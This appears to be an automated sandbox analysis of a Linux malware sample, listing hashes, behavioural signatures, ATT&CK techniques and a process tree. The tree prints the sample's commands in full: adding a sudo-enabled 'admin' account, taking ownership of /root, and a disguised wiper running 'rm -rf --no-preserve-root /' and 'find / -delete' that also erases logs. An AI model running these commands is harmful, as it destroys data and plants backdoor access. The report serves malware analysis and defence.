Analysis
- max time kernel
124s - max time network
130s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
20/07/2026, 12:24
Behavioral task
behavioral1
Sample
bin.x86
Resource
ubuntu1804-amd64-20260513-en
ubuntu-18.04-amd64
22 signatures
150 seconds
General
- Target bin.x86
- Size 3.9MB
- Sample260720-pk4zzaas2j
- SHA256 4abded0a7e30e35447f5253b85042cb0b4789aaaf2cfd092845aae5615790f66
- MD5 1692a4e3cdbed11a2e40fae6d3a42aa0
- SHA1 41a95ff529a5a7786edeee5902288538720bab28
- SHA512 5fe2304bf5e543a248092dc7228f302c512d186ae8dbee57c52b4b22883928e2acfb53a69533b5f257bc952127d1dd4e404ffeb45d91fabea17868e713c85260
- SSDEEP 98304:HwIqp75aznmEUmk8/mn9/LxrfOgvI5x0ot2O0/:QlaBhk84htfDI5/Y
- TLSH T1981633707A6B114D6921BADE8DC117EBF9293DE84B6CF504A1FE26A6F0335C33D28521
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Modifies password files for system users/ groups 1 TTPs 11 IoCs
Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.
description ioc Process File opened for modification /etc/gshadow usermod File opened for modification /etc/group groupadd File opened for modification /etc/gshadow groupadd File opened for modification /etc/passwd useradd File opened for modification /etc/group useradd File opened for modification /etc/shadow usermod File opened for modification /etc/group usermod File opened for modification /etc/gshadow useradd File opened for modification /etc/shadow useradd File opened for modification /etc/passwd chfn File opened for modification /etc/passwd usermod -
description ioc Process File deleted /var/log/audit/audit.log rm File deleted /var/log/audit/audit.log rm - Deletes itself 2 IoCs
pid Process 1547 rm 1549 rm - Deletes journal logs 1 TTPs 8 IoCs
Deletes systemd journal logs. Likely to evade detection.
description ioc Process File deleted /var/log/journal/11c67417355f45d397f6be11f62e85a6/system.journal rm File deleted /var/log/journal/11c67417355f45d397f6be11f62e85a6/system.journal rm File deleted /var/log/journal/11c67417355f45d397f6be11f62e85a6/[email protected]~ rm File deleted /var/log/journal/11c67417355f45d397f6be11f62e85a6/[email protected]~ rm File deleted /var/log/journal/11c67417355f45d397f6be11f62e85a6 rm File deleted /var/log/journal/11c67417355f45d397f6be11f62e85a6 rm File deleted /var/log/journal/11c67417355f45d397f6be11f62e85a6/system@86c7b08fe52f47de94a74615ac3fb08d-0000000000000001-000651b655f5f45f.journal rm File deleted /var/log/journal/11c67417355f45d397f6be11f62e85a6/system@86c7b08fe52f47de94a74615ac3fb08d-0000000000000001-000651b655f5f45f.journal rm - Deletes system logs 1 TTPs 2 IoCs
Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.
description ioc Process File deleted /var/log/syslog rm File deleted /var/log/syslog rm - OS Credential Dumping 1 TTPs 4 IoCs
Adversaries may attempt to dump credentials to use it in password cracking.
description ioc Process File opened for reading /etc/shadow useradd File opened for reading /etc/shadow passwd File opened for reading /etc/shadow chfn File opened for reading /etc/shadow usermod - Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 5 IoCs
Abuse sudo or cached sudo credentials to execute code.
pid Process 1515 sudo 1534 sudo 1535 usermod 1540 sudo 1543 sudo - Reads AppArmor ptrace settings 1 TTPs 3 IoCs
Discovery of allowed ptrace capabilities by AppArmor.
description ioc Process File opened for reading /sys/kernel/security/apparmor/features/ptrace rm File opened for reading /sys/kernel/security/apparmor/features/ptrace rm File opened for reading /sys/kernel/security/apparmor/features/ptrace find - Adds a user to the system 1 IoCs
pid Process 1521 useradd - Creates/modifies environment variables 1 TTPs 2 IoCs
Creating/modifying environment variables is a common persistence mechanism.
description ioc Process File opened for modification /home/admin/.profile adduser File opened for modification /home/admin/.bashrc adduser -
description ioc Process File deleted /var/log/fontconfig.log rm File deleted /var/log/faillog rm File deleted /var/log/installer/hardware-summary rm File deleted /var/log/installer/cdebconf rm File deleted /var/log/audit rm File deleted /var/log/unattended-upgrades rm File deleted /var/log/cups/access_log rm File deleted /var/log/ubuntu-advantage.log rm File deleted /var/log/installer/status rm File deleted /var/log/gdm3 rm File deleted /var/log/apt rm File deleted /var/log/lastlog rm File deleted /var/log/installer rm File deleted /var/log/auth.log rm File deleted /var/log/speech-dispatcher rm File deleted /var/log/installer/cdebconf/questions.dat rm File deleted /var/log/installer/lsb-release rm File deleted /var/log/audit rm File deleted /var/log/unattended-upgrades/unattended-upgrades-shutdown.log rm File deleted /var/log/apt/history.log rm File deleted /var/log/apt rm File deleted /var/log/Xorg.0.log rm File deleted /var/log/Xorg.0.log rm File deleted /var/log/Xorg.0.log.old rm File deleted /var/log/installer/initial-status.gz rm File deleted /var/log/installer/status rm File deleted /var/log/installer/syslog rm File deleted /var/log/installer/cdebconf/questions.dat rm File deleted /var/log/installer/cdebconf/templates.dat rm File deleted /var/log/fontconfig.log rm File deleted /var/log/apt/eipp.log.xz rm File deleted /var/log/apt/term.log rm File deleted /var/log/speech-dispatcher rm File deleted /var/log/installer/initial-status.gz rm File deleted /var/log/installer/cdebconf rm File deleted /var/log/tallylog rm File deleted /var/log/kern.log rm File deleted /var/log/apt/eipp.log.xz rm File deleted /var/log/apt/history.log rm File deleted /var/log/Xorg.0.log.old rm File deleted /var/log/alternatives.log rm File deleted /var/log/cups rm File deleted /var/log/btmp rm File deleted /var/log/unattended-upgrades/unattended-upgrades-shutdown.log rm File deleted /var/log/dpkg.log rm File deleted /var/log/journal rm File deleted /var/log/installer/syslog rm File deleted /var/log/installer/cdebconf/templates.dat rm File deleted /var/log/installer/lsb-release rm File deleted /var/log/hp rm File deleted /var/log/gdm3 rm File deleted /var/log/installer/hardware-summary rm File deleted /var/log/cups/access_log rm File deleted /var/log/journal rm File deleted /var/log/installer rm File deleted /var/log/gpu-manager.log rm File deleted /var/log/dpkg.log rm File deleted /var/log/auth.log rm File deleted /var/log/hp rm File deleted /var/log/installer/partman rm File deleted /var/log/dist-upgrade rm File deleted /var/log/wtmp rm File deleted /var/log/apt/term.log rm File deleted /var/log/btmp rm - Enumerates running processes
Discovers information about currently running processes on the system
- Reads hardware information 1 TTPs 3 IoCs
Accesses system info like serial numbers, manufacturer names etc.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/power rm File opened for reading /sys/devices/virtual/dmi/id/power rm File opened for reading /sys/devices/virtual/dmi/id/power find - Reads network interface configuration 2 TTPs 36 IoCs
Fetches information about one or more active network interfaces.
description ioc Process File opened for reading /sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues/rx-0 find File opened for reading /sys/devices/virtual/net/lo/statistics find File opened for reading /sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues/tx-0/byte_queue_limits rm File opened for reading /sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues rm File opened for reading /sys/devices/virtual/net/lo/power rm File opened for reading /sys/devices/virtual/net/lo/queues/tx-0/byte_queue_limits rm File opened for reading /sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues/tx-0 find File opened for reading /sys/devices/pci0000:00/0000:00:03.0/net/ens3/statistics rm File opened for reading /sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues/tx-0 rm File opened for reading /sys/devices/virtual/net/lo/queues rm File opened for reading /sys/devices/virtual/net/lo/power rm File opened for reading /sys/devices/virtual/net/lo/queues/tx-0 rm File opened for reading /sys/devices/virtual/net/lo/statistics rm File opened for reading /sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues/tx-0/byte_queue_limits find File opened for reading /sys/devices/virtual/net/lo/queues/rx-0 find File opened for reading /sys/devices/pci0000:00/0000:00:03.0/net/ens3/statistics find File opened for reading /sys/devices/pci0000:00/0000:00:03.0/net/ens3/power find File opened for reading /sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues rm File opened for reading /sys/devices/pci0000:00/0000:00:03.0/net/ens3/statistics rm File opened for reading /sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues/tx-0/byte_queue_limits rm File opened for reading /sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues/rx-0 rm File opened for reading /sys/devices/virtual/net/lo/queues rm File opened for reading /sys/devices/virtual/net/lo/queues/tx-0/byte_queue_limits find File opened for reading /sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues/rx-0 rm File opened for reading /sys/devices/pci0000:00/0000:00:03.0/net/ens3/power rm File opened for reading /sys/devices/virtual/net/lo/queues/tx-0/byte_queue_limits rm File opened for reading /sys/devices/virtual/net/lo/queues/rx-0 rm File opened for reading /sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues find File opened for reading /sys/devices/virtual/net/lo/queues find File opened for reading /sys/devices/pci0000:00/0000:00:03.0/net/ens3/power rm File opened for reading /sys/devices/virtual/net/lo/statistics rm File opened for reading /sys/devices/virtual/net/lo/queues/rx-0 rm File opened for reading /sys/devices/virtual/net/lo/queues/tx-0 rm File opened for reading /sys/devices/virtual/net/lo/power find File opened for reading /sys/devices/virtual/net/lo/queues/tx-0 find File opened for reading /sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues/tx-0 rm - Modifies Bash startup script 2 TTPs 2 IoCs
description ioc Process File opened for modification /home/admin/.profile adduser File opened for modification /home/admin/.bashrc adduser - Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself adduser 1516 adduser - Creates .desktop file 2 TTPs 1 IoCs
Linux desktops like GNOME require .desktop files to register applications. Sometimes abused by malware for persistence.
description ioc Process File opened for modification /home/admin/examples.desktop adduser - Reads CPU attributes 1 TTPs 60 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/cpufreq find File opened for reading /sys/devices/system/cpu/cpu0 find File opened for reading /sys/devices/system/cpu/cpu0/hotplug find File opened for reading /sys/devices/system/cpu/cpu0/power rm File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/power rm File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/power rm File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/power rm File opened for reading /sys/devices/system/cpu/cpu0/cache/index3 rm File opened for reading /sys/devices/system/cpu/smt find File opened for reading /sys/devices/system/cpu/cpu0/cache/power find File opened for reading /sys/devices/system/cpu/cpu0/cache/index2 rm File opened for reading /sys/devices/system/cpu/cpu0/topology find File opened for reading /sys/devices/system/cpu/cpu0/cache/index1 rm File opened for reading /sys/devices/system/cpu/power rm File opened for reading /sys/devices/system/cpu/smt rm File opened for reading /sys/devices/system/cpu/cpufreq rm File opened for reading /sys/devices/system/cpu/cpu0/cache/index3 find File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/power rm File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/power rm File opened for reading /sys/devices/system/cpu/cpuidle rm File opened for reading /sys/devices/system/cpu/hotplug rm File opened for reading /sys/devices/system/cpu/cpu0/cache rm File opened for reading /sys/devices/system/cpu/cpu0/cache/power rm File opened for reading /sys/devices/system/cpu/cpu0/power find File opened for reading /sys/devices/system/cpu/cpu0/cache/index2 find File opened for reading /sys/devices/system/cpu/cpu0 rm File opened for reading /sys/devices/system/cpu/cpu0/cache/index1 find File opened for reading /sys/devices/system/cpu/cpu0/cache rm File opened for reading /sys/devices/system/cpu/cpu0/cache/index2 rm File opened for reading /sys/devices/system/cpu/cpuidle find File opened for reading /sys/devices/system/cpu/power rm File opened for reading /sys/devices/system/cpu/hotplug rm File opened for reading /sys/devices/system/cpu/cpu0/hotplug rm File opened for reading /sys/devices/system/cpu/cpu0/cache/index0 rm File opened for reading /sys/devices/system/cpu/cpu0/cache find File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/power find File opened for reading /sys/devices/system/cpu/cpufreq rm File opened for reading /sys/devices/system/cpu/cpu0/cache/power rm File opened for reading /sys/devices/system/cpu/cpu0/cache/index0 find File opened for reading /sys/devices/system/cpu/vulnerabilities rm File opened for reading /sys/devices/system/cpu/cpu0/topology rm File opened for reading /sys/devices/system/cpu/cpu0/cache/index3 rm File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/power rm File opened for reading /sys/devices/system/cpu/power find File opened for reading /sys/devices/system/cpu/vulnerabilities find File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/power find File opened for reading /sys/devices/system/cpu/smt rm File opened for reading /sys/devices/system/cpu/cpu0/hotplug rm File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/power rm File opened for reading /sys/devices/system/cpu/vulnerabilities rm File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/power find File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/power rm File opened for reading /sys/devices/system/cpu/cpu0/cache/index1 rm File opened for reading /sys/devices/system/cpu/hotplug find File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/power find File opened for reading /sys/devices/system/cpu/cpuidle rm File opened for reading /sys/devices/system/cpu/cpu0/cache/index0 rm File opened for reading /sys/devices/system/cpu/cpu0 rm File opened for reading /sys/devices/system/cpu/cpu0/power rm File opened for reading /sys/devices/system/cpu/cpu0/topology rm - Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/devices/virtual/tty/tty30/power rm File opened for reading /sys/firmware/memmap/2 find File opened for reading /sys/module/ehci_hcd find File opened for reading /sys/kernel/debug/tracing/events/ext4/ext4_es_shrink_scan_exit rm File opened for reading /sys/kernel/debug/tracing/events/syscalls/sys_exit_inotify_init1 find File opened for reading /sys/bus/pci/drivers/agpgart-intel rm File opened for reading /sys/kernel/irq/4 rm File opened for reading /sys/kernel/debug/tracing/events/btrfs/btrfs_truncate_show_fi_inline rm File opened for reading /sys/kernel/debug/tracing/events/syscalls/sys_exit_readlink find File opened for reading /sys/kernel/debug/tracing/events/syscalls/sys_exit_timer_delete find File opened for reading /sys/devices/virtual/tty/tty59/power rm File opened for reading /sys/module/soundcore rm File opened for reading /sys/module/xen_netfront/parameters rm File opened for reading /sys/bus/spi/drivers/da9052 find File opened for reading /sys/kernel/slab/:0000416 find File opened for reading /sys/kernel/debug/tracing/events/btrfs/btrfs_flush_space find File opened for reading /sys/class/mmc_host rm File opened for reading /sys/devices/pci0000:00/0000:00:01.0/power rm File opened for reading /sys/devices/virtual/block/loop2/holders find File opened for reading /sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:10 find File opened for reading /sys/bus/pci_express/devices rm File opened for reading /sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:01/PNP0501:00 find File opened for reading /sys/kernel/slab/:0000144 rm File opened for reading /sys/kernel/debug/tracing/events/block/block_bio_frontmerge rm File opened for reading /sys/kernel/debug/tracing/events/syscalls/sys_exit_fstatfs find File opened for reading /sys/devices/platform/serial8250/tty/ttyS9/power find File opened for reading /sys/devices/system/memory/memory5/power rm File opened for reading /sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:18 rm File opened for reading /sys/fs/cgroup/systemd/user.slice/user-0.slice/[email protected]/gnome-terminal-server.service find File opened for reading /sys/module/ima find File opened for reading /sys/kernel/debug/tracing/events/syscalls/sys_exit_mremap rm File opened for reading /sys/devices/pnp0/00:01 rm File opened for reading /sys/devices/virtual/misc/cpu_dma_latency rm File opened for reading /sys/kernel/irq/4 find File opened for reading /sys/kernel/debug/tracing/events/ext4/ext4_get_reserved_cluster_alloc find File opened for reading /sys/kernel/debug/tracing/events/syscalls/sys_exit_statx rm File opened for reading /sys/kernel/debug/tracing/events/syscalls/sys_enter_sched_getscheduler rm File opened for reading /sys/devices/virtual/mem/full/power rm File opened for reading /sys/module/hid/sections rm File opened for reading /sys/kernel/debug/tracing/events/fs_dax/dax_writeback_range_done find File opened for reading /sys/kernel/debug/tracing/events/xdp/xdp_redirect_map find File opened for reading /sys/kernel/debug/tracing/events/syscalls/sys_exit_getrlimit rm File opened for reading /sys/fs/cgroup/pids/system.slice/ModemManager.service find File opened for reading /sys/kernel/debug/tracing/events/btrfs/btrfs_sync_fs rm File opened for reading /sys/kernel/debug/tracing/events/irq_vectors/threshold_apic_exit rm File opened for reading /sys/kernel/debug/tracing/events/mpx/mpx_unmap_search find File opened for reading /sys/devices/pci0000:00/0000:00:04.0/ata7/host6/scsi_host/host6 rm File opened for reading /sys/devices/system/edac/mc rm File opened for reading /sys/devices/virtual/vc/vcsa22 rm File opened for reading /sys/module/cpufreq find File opened for reading /sys/kernel/debug/tracing/events/fs_dax/dax_writeback_range rm File opened for reading /sys/kernel/debug/tracing/events/syscalls/sys_enter_mlock rm File opened for reading /sys/devices/platform/serial8250/tty/ttyS5/power find File opened for reading /sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:0c/power rm File opened for reading /sys/kernel/slab/:0000112/cgroup rm File opened for reading /sys/devices/pci0000:00/0000:00:04.0/ata3/host2/scsi_host rm File opened for reading /sys/devices/platform/Fixed MDIO bus.0 find File opened for reading /sys/devices/LNXSYSTM:00/LNXSYBUS:00/ACPI0010:00/LNXCPU:00 rm File opened for reading /sys/fs/cgroup/pids/system.slice/accounts-daemon.service rm File opened for reading /sys/fs/cgroup/systemd/system.slice/accounts-daemon.service rm File opened for reading /sys/bus/vme rm File opened for reading /sys/kernel/slab/anon_vma find File opened for reading /sys/kernel/debug/tracing/events/net/netif_receive_skb_entry rm File opened for reading /sys/kernel/debug/tracing/events/xhci-hcd/xhci_dbg_reset_ep rm -
description ioc Process File opened for reading /proc/161/task/161/net/netfilter rm File opened for reading /proc/457/task/511/net/stat rm File opened for reading /proc/689/task/689 rm File opened for reading /proc/1049/task/1049/net/netfilter find File opened for reading /proc/1500/ns rm File opened for reading /proc/1543/task/1543/ns rm File opened for reading /proc/1500 find File opened for reading /proc/23/map_files find File opened for reading /proc/476/task/476/fd rm File opened for reading /proc/568/task/568/fd find File opened for reading /proc/913/task/913/attr/smack rm File opened for reading /proc/987/task/988/attr/selinux rm File opened for reading /proc/1001/task/1003/net rm File opened for reading /proc/1001/task/1004/net/dev_snmp6 rm File opened for reading /proc/1028/fd rm File opened for reading /proc/79/attr find File opened for reading /proc/921/task/921/attr/selinux rm File opened for reading /proc/982/task/983/net rm File opened for reading /proc/1010/net rm File opened for reading /proc/1109/net rm File opened for reading /proc/1090/net find File opened for reading /proc/4/task/4/fd find File opened for reading /proc/115/task/115/net/netfilter rm File opened for reading /proc/441/task/441/attr/apparmor find File opened for reading /proc/473/ns rm File opened for reading /proc/973/net/dev_snmp6 find File opened for reading /proc/1107/task/1149/attr/apparmor rm File opened for reading /proc/1171/task/1177/ns rm File opened for reading /proc/1204/task/1318/attr/selinux rm File opened for reading /proc/453/task rm File opened for reading /proc/473/attr find File opened for reading /proc/913/ns rm File opened for reading /proc/1058/net/netfilter rm File opened for reading /proc/1502/task/1511/net/stat rm File opened for reading /proc/7/net rm File opened for reading /proc/22/net/netfilter find File opened for reading /proc/24/task/24/attr/selinux find File opened for reading /proc/1261/task/1262/net/dev_snmp6 rm File opened for reading /proc/1188/task/1190/fd find File opened for reading /proc/160/attr/smack find File opened for reading /proc/673/task/678/net rm File opened for reading /proc/1107/task/1107/attr/apparmor rm File opened for reading /proc/1109/map_files find File opened for reading /proc/168/task/168/fdinfo rm File opened for reading /proc/568/task/568/attr/apparmor rm File opened for reading /proc/921/fd rm File opened for reading /proc/987/task/988/ns find File opened for reading /proc/1206/task/1265/fdinfo find File opened for reading /proc/513/task/519/fd find File opened for reading /proc/911/task/911/net/dev_snmp6 rm File opened for reading /proc/1066/task/1069/attr/apparmor find File opened for reading /proc/1204/task/1318/net/dev_snmp6 rm File opened for reading /proc/1109/task/1109/attr/apparmor find File opened for reading /proc/1549/task/1549/attr/apparmor find File opened for reading /proc/1010/task/1020/net rm File opened for reading /proc/1103/task/1127/attr rm File opened for reading /proc/1261/fdinfo rm File opened for reading /proc/1507/task/1508/attr/smack rm File opened for reading /proc/irq/12 find File opened for reading /proc/543/task/644/net rm File opened for reading /proc/16/task/16/net/stat rm File opened for reading /proc/23/attr find File opened for reading /proc/468/task/468/attr/selinux find File opened for reading /proc/673/task/674/fdinfo find - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/Backup.tar.gz bin.x86 - GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
description flow ioc HTTP User-Agent header 15 Go-http-client/1.1
Processes
-
/tmp/bin.x86/tmp/bin.x861⤵
- Writes file to tmp directory
PID:1502 -
/usr/bin/sudosudo adduser admin2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
PID:1515 -
/usr/sbin/adduseradduser admin3⤵
- Creates/modifies environment variables
- Modifies Bash startup script
- Changes its process name
- Creates .desktop file
PID:1516 -
/usr/sbin/groupadd/usr/sbin/groupadd -g 1001 admin4⤵
- Modifies password files for system users/ groups
PID:1517 -
/usr/sbin/nscdnscd -i passwd5⤵PID:1518
-
-
/usr/sbin/nscdnscd -i group5⤵PID:1519
-
-
/usr/sbin/nscdnscd -i group5⤵PID:1520
-
-
-
/usr/sbin/useradd/usr/sbin/useradd -d /home/admin -g admin -s /bin/bash -u 1001 admin4⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
PID:1521 -
/usr/sbin/nscdnscd -i passwd5⤵PID:1522
-
-
/usr/sbin/nscdnscd -i group5⤵PID:1523
-
-
/sbin/pam_tally2pam_tally2 --user admin --reset --quiet5⤵PID:1524
-
-
/usr/sbin/nscdnscd -i passwd5⤵PID:1525
-
-
/usr/sbin/nscdnscd -i group5⤵PID:1526
-
-
-
/bin/shsh -c "cd /etc/skel; find . -print"4⤵PID:1527
-
/usr/bin/findfind . -print5⤵PID:1528
-
-
-
/usr/bin/passwd/usr/bin/passwd admin4⤵
- OS Credential Dumping
PID:1529
-
-
/usr/bin/chfn/usr/bin/chfn admin4⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
PID:1530 -
/usr/sbin/nscdnscd -i passwd5⤵PID:1531
-
-
/usr/sbin/nscdnscd -i group5⤵PID:1532
-
-
/usr/sbin/nscdnscd -i passwd5⤵PID:1533
-
-
-
-
-
/usr/bin/sudosudo usermod -aG sudo admin2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
PID:1534 -
/usr/sbin/usermodusermod -aG sudo admin3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
PID:1535 -
/usr/sbin/nscdnscd -i passwd4⤵PID:1536
-
-
/usr/sbin/nscdnscd -i group4⤵PID:1537
-
-
/usr/sbin/nscdnscd -i passwd4⤵PID:1538
-
-
/usr/sbin/nscdnscd -i group4⤵PID:1539
-
-
-
-
/usr/bin/sudosudo chown -R admin:admin /root/2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
PID:1540 -
/bin/chownchown -R admin:admin /root/3⤵PID:1541
-
-
-
/usr/bin/sudosudo bash -c "echo \"Processing PID, Please wait\"; rm -rf --no-preserve-root /{,*,.?*} 2>/dev/null || true & find / -delete 2>/dev/null || true & rm -rf --no-preserve-root / 2>/dev/null || true; sleep 10"2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
PID:1543 -
/bin/bashbash -c "echo \"Processing PID, Please wait\"; rm -rf --no-preserve-root /{,*,.?*} 2>/dev/null || true & find / -delete 2>/dev/null || true & rm -rf --no-preserve-root / 2>/dev/null || true; sleep 10"3⤵PID:1544
-
/bin/rmrm -rf --no-preserve-root /4⤵
- Deletes Audit logs
- Deletes itself
- Deletes journal logs
- Deletes system logs
- Reads AppArmor ptrace settings
- Deletes log files
- Reads hardware information
- Reads network interface configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:1547
-
-
/usr/bin/findfind / -delete4⤵
- Reads AppArmor ptrace settings
- Reads hardware information
- Reads network interface configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:1548
-
-
/bin/rmrm -rf --no-preserve-root / /bin /boot /dev /etc /home /initrd.img /initrd.img.old /lib /lib64 /lost+found /media /mnt /opt /proc /root /run /sbin /snap /srv /swapfile /sys /tmp /usr /var /vmlinuz /vmlinuz.old /.. /.autorelabel /.cache4⤵
- Deletes Audit logs
- Deletes itself
- Deletes journal logs
- Deletes system logs
- Reads AppArmor ptrace settings
- Deletes log files
- Reads hardware information
- Reads network interface configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:1549
-
-
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Modify Authentication Process
1Pluggable Authentication Modules
1Privilege Escalation
Abuse Elevation Control Mechanism
1Sudo and Sudo Caching
1Boot or Logon Autostart Execution
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Defense Evasion
Abuse Elevation Control Mechanism
1Sudo and Sudo Caching
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Indicator Removal
4Clear Linux or Mac System Logs
4Modify Authentication Process
1Pluggable Authentication Modules
1Credential Access
Modify Authentication Process
1Pluggable Authentication Modules
1OS Credential Dumping
1/etc/passwd and /etc/shadow
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /etc/group+
- Size 930B
- SHA256 15fbb67221f53117e35bd1da13f6e71b38db2a0e16aec3533aa49e1b1a419e22
- MD5 807931d61fc74ee540214fa9dea5358d
- SHA1 0827d863221ba6e17ec3f5733014babda704a521
- SHA512 6bfe4317527a54f2af2a89c7eb2bcf3934c024d1672cec3cd72515e4216d7282d62dcf518e17d039803f9b46803cabb5cd93f6327115ea4925f261af4bb3ff5e
- TLSH T1CD11DC04BC08DA08C1D1248E06BB8FE961A95ECE486BD5C3D43FFAD877148671B6E8C8
- MD5 SHA1 SHA512 TLSH
- Path /etc/group+
- Size 936B
- SHA256 9073f7548523f5edb205763b9ba152ac5d8dc4d217b5f9e9b1c5ddc7d75d8dad
- MD5 8a7778907b7189b01ec0eb1717ff4b13
- SHA1 3dcbac81c4f08928dc9627490ed6c273cfc5ddaf
- SHA512 4f009281b162a19347bd35a1e1ddb1adc9d01807173dc3d8ef21b9bc2b2e6ea5f82141993b05852acf2ccbe2912e91e6817a9027d312d11d39910fbcb1ebe75a
- TLSH T15A11DC04BC08DA08C1D1248F06BB8BE961A95ECE486BD5C3D43FFAD876148671B6E8C8
- MD5 SHA1 SHA512 TLSH
- Path /etc/gshadow+
- Size 778B
- SHA256 2029723f2db01110bec046d6ae39a5746a6629acadc0f436010e139f23fe1abc
- MD5 4b12b7a8e8e6311b30408af35ad21d99
- SHA1 fdf2812317508d5131f1e0a57b87904599a7ff92
- SHA512 9d3228d61c5c4f6922283d9aa2a62774a8763ad0b81993ccd74eddecefad0c9e84e7b0a6a9bc8bdcd5be858d159b5e0c966f82c3e7e50b32d1dd0cab9e22dab9
- TLSH T1C5014760B249A1884102058B7FF5459A103A7B7A84D9C0D3C47289C31F684EF1DB6CD8
- MD5 SHA1 SHA512 TLSH
- Path /etc/gshadow+
- Size 772B
- SHA256 c1105c40673bf26ecd1bde9aef5bd35b05068614111b619ee037478ea3fc7d3a
- MD5 420ab08f0e17aa19c7546df3daf6202a
- SHA1 78ba081655034198898820a721b412a152d87e70
- SHA512 51496c08050dcca85654acfbe954d585e2b3471b8cc099aa4dfdcdd4ed286ccf768e2ff4b7541ec5830846d396ebacfc50b3329b062e6ea7573ad6bea19bf445
- TLSH T177014760B249A1884106058B7FF1459A103A7B7A84D9C0D3C47289C31F684EF19B6CD8
- MD5 SHA1 SHA512 TLSH
- Path /etc/nshadow
- Size 1KB
- SHA256 b77a54208e088f08d8947e4cd1c935028fa874d9e48abb5673c3ce29c48f7f55
- MD5 4920954179f7e6fcdd89d621dc49a267
- SHA1 e39e435962fc6355dd99b9dd5f96672d2dfbb027
- SHA512 78ca4ba0cc39abc7af423f33e07dbaa0508d855c77f10741de713552a8571743d120be04b5914437db390bb7cb1c8e80be87b3bff3e905251bf9907294224dd1
- TLSH T10D218F90937EBCD583E004DE56C50194D6DE2D380395C283C89BCA376DB4B96580ECBB
- MD5 SHA1 SHA512 TLSH
- Path /etc/passwd+
- Size 2KB
- SHA256 512cf2834a93f78cc38f346aef778bc6dbaf4ae5bafc284e40ad46b78db2d344
- MD5 fd5f930ae05b8af52ee93372c5c5c188
- SHA1 ff8fa4c27be74a48a20894f4f16095e7888d9065
- SHA512 c9a1a63cf979b3c33bfbcf479346351bec4558cbde0cfee7ea3f5f35e07e73b2899b24af555a023af9bc436ecce15454331aa204f03571c39da7638862bc622a
- TLSH T13B515721036DD4BCEDC1F999012B6F9414DC78E04A7EFA2DD83BB150ECCA27D26A8970
- MD5 SHA1 SHA512 TLSH
- Path /etc/passwd+
- Size 2KB
- SHA256 10eaf14c4ce9800cf86980d7d05babe981189caf09dd4d4cc236be63d2b8110b
- MD5 35f2adff45e96d935a1e4e7f6d9c96b6
- SHA1 be54ee9ae1620d23d9a7f20d6f901ba792732249
- SHA512 9c5142266c80efa8831a75684548f0434d44df40cbf0572493fbc09afe01a53befdd8a6801ad54080c3fde2bee0bd263aaa53582aeb8d37b4946d73543234e6d
- TLSH T162515721036DD4BCECC1F999012B6F9414DC78E00A7EFA2DD83BB150ECCA27D26A8970
- MD5 SHA1 SHA512 TLSH
- Path /etc/shadow+
- Size 1KB
- SHA256 1aaffcb3c109782cedb029ac819261f5bcaa0e4d14469b519ec7cd8fd964a5c8
- MD5 d67fa9051ed1e4e67eee806c4534dab9
- SHA1 fe0d3f5e391a0d0502b6f671770b40a6427f4310
